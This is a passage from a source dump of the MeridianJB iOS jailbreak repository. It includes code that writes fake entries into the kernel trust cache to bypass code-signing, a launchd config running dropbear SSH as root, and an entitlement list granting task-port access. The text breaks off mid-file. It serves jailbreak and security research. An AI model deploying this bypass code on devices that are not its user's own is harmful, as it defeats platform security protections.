Repository: PsychoTea/MeridianJB Branch: master Commit: 744996e73934 Files: 136 Total size: 564.7 KB Directory structure: gitextract_2p5ujygs/ ├── .gitignore ├── LICENSE.md ├── Meridian/ │ ├── Meridian/ │ │ ├── amfi.h │ │ ├── amfi.m │ │ ├── bootstrap/ │ │ │ ├── create-meridian-bootstrap.sh │ │ │ └── meridian-bootstrap/ │ │ │ ├── bin/ │ │ │ │ ├── launchctl │ │ │ │ └── uicache │ │ │ ├── meridian/ │ │ │ │ ├── dropbear/ │ │ │ │ │ ├── dropbear │ │ │ │ │ └── dropbear.plist │ │ │ │ ├── ent.plist │ │ │ │ ├── jailbreakd/ │ │ │ │ │ ├── jailbreakd │ │ │ │ │ └── jailbreakd.plist │ │ │ │ ├── ldrestart │ │ │ │ ├── nohup │ │ │ │ └── offsets.plist │ │ │ └── private/ │ │ │ └── var/ │ │ │ └── log/ │ │ │ └── lastlog │ │ ├── common.h │ │ ├── helpers/ │ │ │ ├── cs_blobs.h │ │ │ ├── fucksigningservices.h │ │ │ ├── fucksigningservices.m │ │ │ ├── helpers.h │ │ │ ├── helpers.m │ │ │ ├── iokit.h │ │ │ ├── kernel.h │ │ │ ├── kernel.m │ │ │ ├── main.m │ │ │ ├── nonce.h │ │ │ ├── nonce.m │ │ │ ├── nvpatch.c │ │ │ ├── nvpatch.h │ │ │ ├── untar.h │ │ │ └── untar.m │ │ ├── jailbreak.h │ │ ├── jailbreak.m │ │ ├── mach/ │ │ │ ├── jailbreak_daemonUser.c │ │ │ └── jailbreak_daemonUser.h │ │ ├── patchfinders/ │ │ │ ├── liboffsetfinder64.hpp │ │ │ ├── offsetdump.h │ │ │ ├── offsetdump.m │ │ │ ├── offsetfinder.h │ │ │ ├── offsetfinder.mm │ │ │ ├── patchfinder64.c │ │ │ └── patchfinder64.h │ │ ├── preferences.h │ │ ├── preferences.m │ │ ├── root-rw.h │ │ ├── root-rw.m │ │ ├── v0rtex.h │ │ ├── v0rtex.m │ │ └── views/ │ │ ├── AppDelegate.h │ │ ├── AppDelegate.m │ │ ├── Assets.xcassets/ │ │ │ ├── AppIcon-Blue.appiconset/ │ │ │ │ └── Contents.json │ │ │ ├── AppIcon-White.appiconset/ │ │ │ │ └── Contents.json │ │ │ ├── Contents.json │ │ │ ├── Icons/ │ │ │ │ ├── Contents.json │ │ │ │ ├── archive.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── console.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── gears.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── hammer.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── handshake.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── jail.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── ladybug.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── list.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── settings.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── source_code.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── synchronize.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── trash.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ ├── twitter.imageset/ │ │ │ │ │ └── Contents.json │ │ │ │ └── www.imageset/ │ │ │ │ └── Contents.json │ │ │ ├── Map.imageset/ │ │ │ │ └── Contents.json │ │ │ └── Splash.imageset/ │ │ │ └── Contents.json │ │ ├── Base.lproj/ │ │ │ ├── LaunchScreen.storyboard │ │ │ └── Main.storyboard │ │ ├── CreditsController.h │ │ ├── CreditsController.m │ │ ├── Info.plist │ │ ├── SettingsController.h │ │ ├── SettingsController.m │ │ ├── ViewController.h │ │ └── ViewController.m │ ├── Meridian.xcodeproj/ │ │ ├── project.pbxproj │ │ └── project.xcworkspace/ │ │ ├── contents.xcworkspacedata │ │ └── xcshareddata/ │ │ ├── IDEWorkspaceChecks.plist │ │ └── WorkspaceSettings.xcsettings │ ├── amfid/ │ │ ├── Makefile │ │ ├── common.h │ │ ├── cs_blobs.h │ │ ├── cs_dingling.h │ │ ├── cs_dingling.m │ │ ├── ent_patching.h │ │ ├── ent_patching.m │ │ ├── helpers/ │ │ │ ├── kexecute.h │ │ │ ├── kexecute.m │ │ │ ├── kmem.c │ │ │ ├── kmem.h │ │ │ ├── offsetof.c │ │ │ ├── offsetof.h │ │ │ ├── osobject.c │ │ │ └── osobject.h │ │ ├── kern_utils.h │ │ ├── kern_utils.m │ │ ├── main.m │ │ └── ubc_headers.h │ ├── exportPlist.plist │ ├── fishhook/ │ │ ├── fishhook.c │ │ └── fishhook.h │ ├── jailbreakd/ │ │ ├── Makefile │ │ ├── common.h │ │ ├── entitlements.xml │ │ ├── helpers/ │ │ │ ├── kexecute.h │ │ │ ├── kexecute.m │ │ │ ├── kmem.h │ │ │ ├── kmem.m │ │ │ ├── offsetof.c │ │ │ ├── offsetof.h │ │ │ ├── osobject.c │ │ │ └── osobject.h │ │ ├── kern_utils.h │ │ ├── kern_utils.m │ │ ├── mach/ │ │ │ ├── jailbreak_daemonServer.c │ │ │ ├── jailbreak_daemonServer.h │ │ │ └── mig.defs │ │ ├── main.m │ │ ├── sandbox.h │ │ └── sandbox.m │ ├── libimg4tool.a │ ├── libmerged.a │ ├── liboffsetfinder64.a │ ├── libplist++.a │ ├── libplist.a │ └── pspawn_hook/ │ ├── Makefile │ ├── mach/ │ │ ├── jailbreak_daemonUser.c │ │ └── jailbreak_daemonUser.h │ └── pspawn_hook.m ├── README.md └── Working_with_libjailbreak.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ .DS_Store xcuserdata *.xcuserstate .theos obj build_time **/bin !**/meridian-bootstrap/**/* ================================================ FILE: LICENSE.md ================================================ MIT License Copyright (c) 2017 Ben Sparkes Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: Meridian/Meridian/amfi.h ================================================ // // amfi.h // Meridian // // Created by Ben Sparkes on 19/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #include #include "helpers/cs_blobs.h" typedef struct { const char *name; uint64_t file_off; int fd; const void *addr; size_t size; } img_info_t; typedef char hash_t[20]; struct trust_chain { uint64_t next; unsigned char uuid[16]; unsigned int count; hash_t hash[1]; }; int init_amfi(void); int inject_trust(const char *path); void *put_dick_in_macho(const char *path, uint64_t file_off); const uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size); int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd); unsigned int hash_rank(const CS_CodeDirectory *cd); int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]); const char *get_hash_name(uint8_t hash_type); int open_img(img_info_t* info); void close_img(img_info_t* info); ================================================ FILE: Meridian/Meridian/amfi.m ================================================ // // amfi.m // Meridian // // Created by Ben Sparkes on 19/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #import "patchfinder64.h" #import "kernel.h" #import "amfi.h" #import "helpers.h" #import #import #import #import #import #import #import #import #import #import #import #include #define ERROR(str, args...) LOG("ERROR: [%s] " str, __func__, ##args) #define INFO(str, args...) LOG("INFO: " str, ##args) uint64_t trust_cache; uint64_t amficache; int init_amfi() { trust_cache = find_trustcache(); amficache = find_amficache(); NSLog(@"[amfi] trust_cache = 0x%llx \n", trust_cache); NSLog(@"[amfi] amficache = 0x%llx \n", amficache); if (trust_cache == 0 || amficache == 0) { return -1; } return 0; } // creds to stek29(?) int inject_trust(const char *path) { NSLog(@"[amfi] signing %s...", path); if (file_exists(path) != 0) { NSLog(@"[amfi] you wanka, %s doesn't exist!", path); return -1; } FILE *fd = fopen(path, "r"); if (fd == NULL) { NSLog(@"[amfi] failed to open file %s!", path); return -1; } int num_found_hashes = 0; void *hash_array = NULL; uint32_t magic; fread(&magic, sizeof(magic), 1, fd); fseek(fd, 0, SEEK_SET); int is_swap = (magic == MH_CIGAM || magic == MH_CIGAM_64 || magic == FAT_CIGAM || magic == FAT_CIGAM_64); if (magic == MH_MAGIC || magic == MH_MAGIC_64 || magic == MH_CIGAM || magic == MH_CIGAM_64) { // just single arch, just grab the hash fclose(fd); void *cd_hash = put_dick_in_macho(path, 0); if (cd_hash != NULL) { num_found_hashes++; hash_array = realloc(hash_array, num_found_hashes * CS_CDHASH_LEN); memcpy(hash_array + ((num_found_hashes - 1) * CS_CDHASH_LEN), cd_hash, CS_CDHASH_LEN); } } else if (magic == FAT_MAGIC || magic == FAT_MAGIC_64 || magic == FAT_CIGAM || magic == FAT_CIGAM_64) { struct fat_header header; fread(&header, sizeof(header), 1, fd); if (is_swap) swap_fat_header(&header, 0); int arch_offset = sizeof(header); for (int i = 0; i < header.nfat_arch; i++) { struct fat_arch arch; fseek(fd, arch_offset, 0); fread(&arch, sizeof(struct fat_arch), 1, fd); if (is_swap) swap_fat_arch(&arch, 1, 0); fseek(fd, arch.offset, 0); uint32_t magic; fread(&magic, sizeof(magic), 1, fd); if (magic == MH_MAGIC || magic == MH_MAGIC_64 || magic == MH_CIGAM || magic == MH_CIGAM_64) { void *cd_hash = put_dick_in_macho(path, arch.offset); if (cd_hash != NULL) { num_found_hashes++; hash_array = realloc(hash_array, num_found_hashes * CS_CDHASH_LEN); memcpy(hash_array + ((num_found_hashes - 1) * CS_CDHASH_LEN), cd_hash, CS_CDHASH_LEN); } } arch_offset += sizeof(arch); } fclose(fd); } if (num_found_hashes == 0) { NSLog(@"[amfi] dood, we dinny find any hashes here :/ path: %s", path); return -1; } LOG("found %d hashes to inject", num_found_hashes); for (int i = 0; i < num_found_hashes; i++) { struct trust_chain fake_chain; fake_chain.next = rk64(trust_cache); *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe; *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe; fake_chain.count = 1; memcpy(fake_chain.hash[0], &hash_array[i * CS_CDHASH_LEN], CS_CDHASH_LEN); char msg[40 + 1]; bzero(msg, sizeof(msg)); char *ptr = msg; for (int i = 0; i < CS_CDHASH_LEN; i += sizeof(uint32_t)) { ptr += sprintf(ptr, "%x", ntohl(*(uint32_t *)&fake_chain.hash[0][i])); } INFO("got cdhash: %s", msg); uint64_t kernel_trust = 0; mach_vm_allocate(tfp0, &kernel_trust, sizeof(fake_chain), VM_FLAGS_ANYWHERE); kwrite(kernel_trust, &fake_chain, sizeof(fake_chain)); wk64(trust_cache, kernel_trust); } free(hash_array); NSLog(@"[amfi] signed %s \n", path); return 0; } void *put_dick_in_macho(const char *path, uint64_t file_off) { img_info_t img; img.name = path; img.file_off = file_off; if (open_img(&img) != 0) { NSLog(@"[amfi] failed to open file: %s", path); close_img(&img); return NULL; } uint32_t cs_length = 0; const uint8_t *cs = find_code_signature(&img, &cs_length); if (cs == NULL) { NSLog(@"[amfi] failed to find code signature: %s", path); close_img(&img); return NULL; } const CS_CodeDirectory *chosen_csdir = NULL; if (find_best_codedir(cs, cs_length, &chosen_csdir) != 0) { NSLog(@"[amfi] failed to find best csdir"); close_img(&img); return NULL; } void *cd_hash = malloc(CS_CDHASH_LEN); if (hash_code_directory(chosen_csdir, cd_hash) != 0) { NSLog(@"[amfi] failed to hash code directory for file %s", path); close_img(&img); return NULL; } close_img(&img); return cd_hash; } // Finds the LC_CODE_SIGNATURE load command const uint8_t *find_code_signature(img_info_t *info, uint32_t *cs_size) { #define _LOG_ERROR(str, args...) ERROR("(%s) " str, info->name, ##args) if (info == NULL || info->addr == NULL) { return NULL; } // mach_header_64 is mach_header + reserved for padding const struct mach_header *mh = (const struct mach_header*)info->addr; uint32_t sizeofmh = 0; switch (mh->magic) { case MH_MAGIC_64: sizeofmh = sizeof(struct mach_header_64); break; case MH_MAGIC: sizeofmh = sizeof(struct mach_header); break; default: _LOG_ERROR("your magic is not valid in these lands: %08x", mh->magic); return NULL; } if (mh->sizeofcmds < mh->ncmds * sizeof(struct load_command)) { _LOG_ERROR("Corrupted macho (sizeofcmds < ncmds * sizeof(lc))"); return NULL; } if (mh->sizeofcmds + sizeofmh > info->size) { _LOG_ERROR("Corrupted macho (sizeofcmds + sizeof(mh) > size)"); return NULL; } const struct load_command *cmd = (const struct load_command *)((uintptr_t) info->addr + sizeofmh); for (int i = 0; i != mh->ncmds; ++i) { if (cmd->cmd == LC_CODE_SIGNATURE) { const struct linkedit_data_command* cscmd = (const struct linkedit_data_command*)cmd; if (cscmd->dataoff + cscmd->datasize > info->size) { _LOG_ERROR("Corrupted LC_CODE_SIGNATURE: dataoff + datasize > fsize"); return NULL; } if (cs_size) { *cs_size = cscmd->datasize; } return (const uint8_t*)((uintptr_t)info->addr + cscmd->dataoff); } cmd = (const struct load_command *)((uintptr_t)cmd + cmd->cmdsize); if ((uintptr_t)cmd + sizeof(struct load_command) > (uintptr_t)info->addr + info->size) { _LOG_ERROR("Corrupted macho: Unexpected end of file while parsing load commands"); return NULL; } } _LOG_ERROR("Didnt find the code signature"); return NULL; #undef _LOG_ERROR } #define BLOB_FITS(blob, size) ((size >= sizeof(*blob)) && (size >= ntohl(blob->length))) // xnu-3789.70.16/bsd/kern/ubc_subr.c#470 int find_best_codedir(const void *csblob, uint32_t blob_size, const CS_CodeDirectory **chosen_cd) { *chosen_cd = NULL; const CS_GenericBlob *blob = (const CS_GenericBlob *)csblob; if (!BLOB_FITS(blob, blob_size)) { ERROR("csblob too small even for generic blob"); return 1; } uint32_t length = ntohl(blob->length); if (ntohl(blob->magic) == CSMAGIC_EMBEDDED_SIGNATURE) { const CS_CodeDirectory *best_cd = NULL; int best_rank = 0; const CS_SuperBlob *sb = (const CS_SuperBlob *)csblob; uint32_t count = ntohl(sb->count); if (!BLOB_FITS(sb, blob_size)) { ERROR("csblob too small for superblob"); return 1; } for (int n = 0; n < count; n++){ const CS_BlobIndex *blobIndex = &sb->index[n]; uint32_t type = ntohl(blobIndex->type); uint32_t offset = ntohl(blobIndex->offset); if (length < offset) { ERROR("offset of blob #%d overflows superblob length", n); return 1; } const CS_GenericBlob *subBlob = (const CS_GenericBlob *)((uintptr_t)csblob + offset); if (type == CSSLOT_CODEDIRECTORY || (type >= CSSLOT_ALTERNATE_CODEDIRECTORIES && type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT)) { const CS_CodeDirectory *candidate = (const CS_CodeDirectory *)subBlob; unsigned int rank = hash_rank(candidate); // Apple's code: `rank > best_rank` (kind of obvious, right?) // So why is it I have to switch it to get it to work? // macos-10.12.6-sierra/xnu-3789.70.16/bsd/kern/ubc_subr.c#534 if (best_cd == NULL || rank < best_rank) { best_cd = candidate; best_rank = rank; *chosen_cd = best_cd; } } } } else if (ntohl(blob->magic) == CSMAGIC_CODEDIRECTORY) { *chosen_cd = (const CS_CodeDirectory *)blob; } else { ERROR("Unknown magic at csblob start: %08x", ntohl(blob->magic)); return 1; } if (chosen_cd == NULL) { ERROR("didn't find codedirectory to hash"); return 1; } return 0; } // xnu-3789.70.16/bsd/kern/ubc_subr.c#231 unsigned int hash_rank(const CS_CodeDirectory *cd) { uint32_t type = cd->hashType; for (unsigned int n = 0; n < sizeof(hashPriorities) / sizeof(hashPriorities[0]); ++n) { if (hashPriorities[n] == type) { return n + 1; } } return 0; } int hash_code_directory(const CS_CodeDirectory *directory, uint8_t hash[CS_CDHASH_LEN]) { uint32_t realsize = ntohl(directory->length); if (ntohl(directory->magic) != CSMAGIC_CODEDIRECTORY) { ERROR("expected CSMAGIC_CODEDIRECTORY"); return 1; } uint8_t out[CS_HASH_MAX_SIZE]; uint8_t hash_type = directory->hashType; switch (hash_type) { case CS_HASHTYPE_SHA1: CC_SHA1(directory, realsize, out); break; case CS_HASHTYPE_SHA256: case CS_HASHTYPE_SHA256_TRUNCATED: CC_SHA256(directory, realsize, out); break; case CS_HASHTYPE_SHA384: CC_SHA384(directory, realsize, out); break; default: INFO("Unknown hash type: 0x%x", hash_type); return 2; } memcpy(hash, out, CS_CDHASH_LEN); return 0; } const char *get_hash_name(uint8_t hash_type) { switch (hash_type) { case CS_HASHTYPE_SHA1: return "SHA1"; case CS_HASHTYPE_SHA256: case CS_HASHTYPE_SHA256_TRUNCATED: return "SHA256"; case CS_HASHTYPE_SHA384: return "SHA384"; default: return "UNKNWON"; } return ""; } int open_img(img_info_t* info) { #define _LOG_ERROR(str, args...) ERROR("(%s) " str, info->name, ##args) int ret = -1; if (info == NULL) { INFO("img info is NULL"); return ret; } info->fd = -1; info->size = 0; info->addr = NULL; info->fd = open(info->name, O_RDONLY); if (info->fd == -1) { _LOG_ERROR("Couldn't open file"); ret = 1; goto out; } struct stat s; if (fstat(info->fd, &s) != 0) { _LOG_ERROR("fstat: 0x%x (%s)", errno, strerror(errno)); ret = 2; goto out; } size_t fsize = s.st_size; info->size = fsize - info->file_off; const void *map = mmap(NULL, fsize, PROT_READ, MAP_PRIVATE, info->fd, 0); if (map == MAP_FAILED) { _LOG_ERROR("mmap: 0x%x (%s)", errno, strerror(errno)); ret = 4; goto out; } info->addr = (const void*) ((uintptr_t) map + info->file_off); ret = 0; out:; if (ret) { close_img(info); } return ret; #undef _LOG_ERROR } void close_img(img_info_t* info) { if (info == NULL) { return; } if (info->addr != NULL) { const void *map = (void*) ((uintptr_t) info->addr - info->file_off); size_t fsize = info->size + info->file_off; munmap((void*)map, fsize); } if (info->fd != -1) { close(info->fd); } } ================================================ FILE: Meridian/Meridian/bootstrap/create-meridian-bootstrap.sh ================================================ #!/bin/bash currDir=$(dirname $0) meridianDir=$currDir/../.. baseDir=$currDir/meridian-bootstrap # amfid_payload.dylib cp $meridianDir/amfid/bin/* $baseDir/meridian/ # pspawn_hook.dylib cp $meridianDir/pspawn_hook/bin/* $baseDir/usr/lib/ # jailbreakd cp $meridianDir/jailbreakd/bin/* $baseDir/meridian/jailbreakd/ # remove all .DS_Store files find $baseDir -name '.DS_Store' -delete # create tar archive cd $baseDir COPYFILE_DISABLE=1 tar -cf meridian-bootstrap.tar ./* mv meridian-bootstrap.tar $currDir ================================================ FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/dropbear/dropbear.plist ================================================ Label dropbear Program /meridian/dropbear/dropbear UserName root RunAtLoad KeepAlive StandardErrorPath /var/log/dropbear-stderr.log ProgramArguments /meridian/dropbear/dropbear -p 22 -p 2222 -F -R -E -m -S / StandardOutPath /var/log/dropbear-stdout.log ================================================ FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/ent.plist ================================================ com.apple.system-task-ports task_for_pid-allow com.apple.private.security.no-container platform-application get-task-allow com.apple.private.skip-library-validation com.apple.lsapplicationworkspace.rebuildappdatabases ================================================ FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/jailbreakd/jailbreakd.plist ================================================ Label jailbreakd Program /meridian/jailbreakd/jailbreakd EnvironmentVariables KernelBase 0x0000000000000000 KernProcAddr 0x0000000000000000 ZoneMapOffset 0x0000000000000000 AddRetGadget 0x0000000000000000 OSBooleanTrue 0x0000000000000000 OSBooleanFalse 0x0000000000000000 OSUnserializeXML 0x0000000000000000 Smalloc 0x0000000000000000 UserName root MachServices zone.sparkes.jailbreakd HostSpecialPort 15 RunAtLoad KeepAlive StandardErrorPath /var/log/jailbreakd-stderr.log StandardOutPath /var/log/jailbreakd-stdout.log ================================================ FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/meridian/offsets.plist ================================================ ================================================ FILE: Meridian/Meridian/bootstrap/meridian-bootstrap/private/var/log/lastlog ================================================ ================================================ FILE: Meridian/Meridian/common.h ================================================ #ifndef COMMON_H #define COMMON_H #include // uint*_t #include #define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0) #ifdef __LP64__ # define ADDR "0x%016llx" typedef uint64_t kptr_t; #else # define ADDR "0x%08x" typedef uint32_t kptr_t; #endif #endif ================================================ FILE: Meridian/Meridian/helpers/cs_blobs.h ================================================ // credits @stek29 - https://github.com/stek29/electra/blob/amfid_fix/basebinaries/amfid_payload/ // from: xnu osfmk/kern/cs_blobs.h #define CS_VALID 0x0000001 /* dynamically valid */ #define CS_ADHOC 0x0000002 /* ad hoc signed */ #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ #define CS_INSTALLER 0x0000008 /* has installer entitlement */ #define CS_HARD 0x0000100 /* don't load invalid pages */ #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ #define CS_REQUIRE_LV 0x0002000 /* require library validation */ #define CS_ENTITLEMENTS_VALIDATED 0x0004000 /* code signature permits restricted entitlements */ #define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV) #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ #define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER) typedef struct __attribute__((packed)) { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ uint32_t length; /* total length of CodeDirectory blob */ uint32_t version; /* compatibility version */ uint32_t flags; /* setup and mode flags */ uint32_t hashOffset; /* offset of hash slot element at index zero */ uint32_t identOffset; /* offset of identifier string */ uint32_t nSpecialSlots; /* number of special hash slots */ uint32_t nCodeSlots; /* number of ordinary (code) hash slots */ uint32_t codeLimit; /* limit to main image signature range */ uint8_t hashSize; /* size of each hash in bytes */ uint8_t hashType; /* type of hash (cdHashType* constants) */ uint8_t platform; /* platform identifier; zero if not platform binary */ uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */ uint32_t spare2; /* unused (must be zero) */ char end_earliest[0]; /* Version 0x20100 */ uint32_t scatterOffset; /* offset of optional scatter vector */ char end_withScatter[0]; /* Version 0x20200 */ uint32_t teamOffset; /* offset of optional team identifier */ char end_withTeam[0]; /* Version 0x20300 */ uint32_t spare3; /* unused (must be zero) */ uint64_t codeLimit64; /* limit to main image signature range, 64 bits */ char end_withCodeLimit64[0]; /* Version 0x20400 */ uint64_t execSegBase; /* offset of executable segment */ uint64_t execSegLimit; /* limit of executable segment */ uint64_t execSegFlags; /* executable segment flags */ char end_withExecSeg[0]; } CS_CodeDirectory; typedef struct __attribute__((packed)) { uint32_t type; /* type of entry */ uint32_t offset; /* offset of entry */ } CS_BlobIndex; typedef struct __attribute__((packed)) { uint32_t magic; /* magic number */ uint32_t length; /* total length of SuperBlob */ uint32_t count; /* number of index entries following */ CS_BlobIndex index[]; /* (count) entries */ /* followed by Blobs in no particular order as indicated by offsets in index */ } CS_SuperBlob; typedef struct __attribute__((packed)) { uint32_t magic; /* magic number */ uint32_t length; /* total length of blob */ char data[]; } CS_GenericBlob; typedef struct __SC_Scatter { uint32_t count; // number of pages; zero for sentinel (only) uint32_t base; // first page number uint64_t targetOffset; // offset in target uint64_t spare; // reserved } SC_Scatter; /* * Magic numbers used by Code Signing */ enum { CSMAGIC_REQUIREMENT = 0xfade0c00, /* single Requirement blob */ CSMAGIC_REQUIREMENTS = 0xfade0c01, /* Requirements vector (internal requirements) */ CSMAGIC_CODEDIRECTORY = 0xfade0c02, /* CodeDirectory blob */ CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, /* embedded form of signature data */ CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, /* XXX */ CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, /* embedded entitlements */ CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, /* multi-arch collection of embedded signatures */ CSMAGIC_BLOBWRAPPER = 0xfade0b01, /* CMS Signature, among other things */ CS_SUPPORTSSCATTER = 0x20100, CS_SUPPORTSTEAMID = 0x20200, CS_SUPPORTSCODELIMIT64 = 0x20300, CS_SUPPORTSEXECSEG = 0x20400, CSSLOT_CODEDIRECTORY = 0, /* slot index for CodeDirectory */ CSSLOT_INFOSLOT = 1, CSSLOT_REQUIREMENTS = 2, CSSLOT_RESOURCEDIR = 3, CSSLOT_APPLICATION = 4, CSSLOT_ENTITLEMENTS = 5, CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = /* one past the last */ CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, CSSLOT_SIGNATURESLOT = 0x10000, /* CMS Signature */ CSTYPE_INDEX_REQUIREMENTS = 0x00000002, /* compat with amfi */ CSTYPE_INDEX_ENTITLEMENTS = 0x00000005, /* compat with amfi */ CS_HASHTYPE_SHA1 = 1, CS_HASHTYPE_SHA256 = 2, CS_HASHTYPE_SHA256_TRUNCATED = 3, CS_HASHTYPE_SHA384 = 4, CS_SHA1_LEN = 20, CS_SHA256_LEN = 32, CS_SHA256_TRUNCATED_LEN = 20, CS_CDHASH_LEN = 20, /* always - larger hashes are truncated */ CS_HASH_MAX_SIZE = 48, /* max size of the hash we'll support */ /* * Currently only to support Legacy VPN plugins, * but intended to replace all the various platform code, dev code etc. bits. */ CS_SIGNER_TYPE_UNKNOWN = 0, CS_SIGNER_TYPE_LEGACYVPN = 5, }; /* * Choose among different hash algorithms. * Higher is better, 0 => don't use at all. */ static const uint32_t hashPriorities[] = { CS_HASHTYPE_SHA1, CS_HASHTYPE_SHA256_TRUNCATED, CS_HASHTYPE_SHA256, CS_HASHTYPE_SHA384, }; ================================================ FILE: Meridian/Meridian/helpers/fucksigningservices.h ================================================ // // fucksigningservices.h // Meridian // // Created by Ben Sparkes on 07/01/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #ifndef fucksigningservices_h #define fucksigningservices_h #import "ViewController.h" #import @interface fucksigningservices : NSObject + (Boolean)appIsPirated:(NSString *)profilePath; @end #endif /* fucksigningservices_h */ ================================================ FILE: Meridian/Meridian/helpers/fucksigningservices.m ================================================ // // fuck-signing-services.m // Meridian // // Created by Ben Sparkes on 07/01/2018. // Copyright © 2018 Ben Sparkes. All rights reserved. // #import "fucksigningservices.h" @interface NSString (profileHelper) - (id)dictionaryFromString; @end @implementation NSString (profileHelper) // convert basic XML plist string from the profile and convert it into a mutable nsdictionary - (id)dictionaryFromString { NSData *theData = [self dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES]; id theDict = [NSPropertyListSerialization propertyListWithData:theData options:NSPropertyListMutableContainersAndLeaves format:nil error:nil]; return theDict; } @end @implementation fucksigningservices : NSObject // creds @nitoTV/lechium the fuckin' madman // https://github.com/lechium/ProvisioningProfileCleaner/blob/master/ProvisioningProfileCleaner/KBProfileHelper.m#L648 + (Boolean)appIsPirated:(NSString *)profilePath { NSString *fileContents = [NSString stringWithContentsOfFile:profilePath encoding:NSUTF8StringEncoding error:nil]; NSUInteger fileLength = [fileContents length]; if (fileLength == 0) return false; // find NSRange location of "]; // adjust the location of endingRange to include into our newly trimmed string. NSUInteger endingLocation = endingRange.location + endingRange.length; // offset the ending location to trim out the "garbage" before NSRange plistRange = NSMakeRange(startingLocation, endingLocationAdjusted); NSString *plistString = [fileContents substringWithRange:plistRange]; NSMutableDictionary *dict = [plistString dictionaryFromString]; // Grab provisioning entries NSObject *provisionsAllDevices = [dict objectForKey:@"ProvisionsAllDevices"]; NSArray *provisionedDevices = [dict objectForKey:@"ProvisionedDevices"]; // Check whether keys are present & evaluate return (provisionsAllDevices != nil && provisionedDevices == nil); } @end ================================================ FILE: Meridian/Meridian/helpers/helpers.h ================================================ // // helpers.h // Meridian // // Created by Ben Sparkes on 30/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #ifndef helpers_h #define helpers_h #include #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ #define CS_INSTALLER 0x0000008 /* has installer entitlement 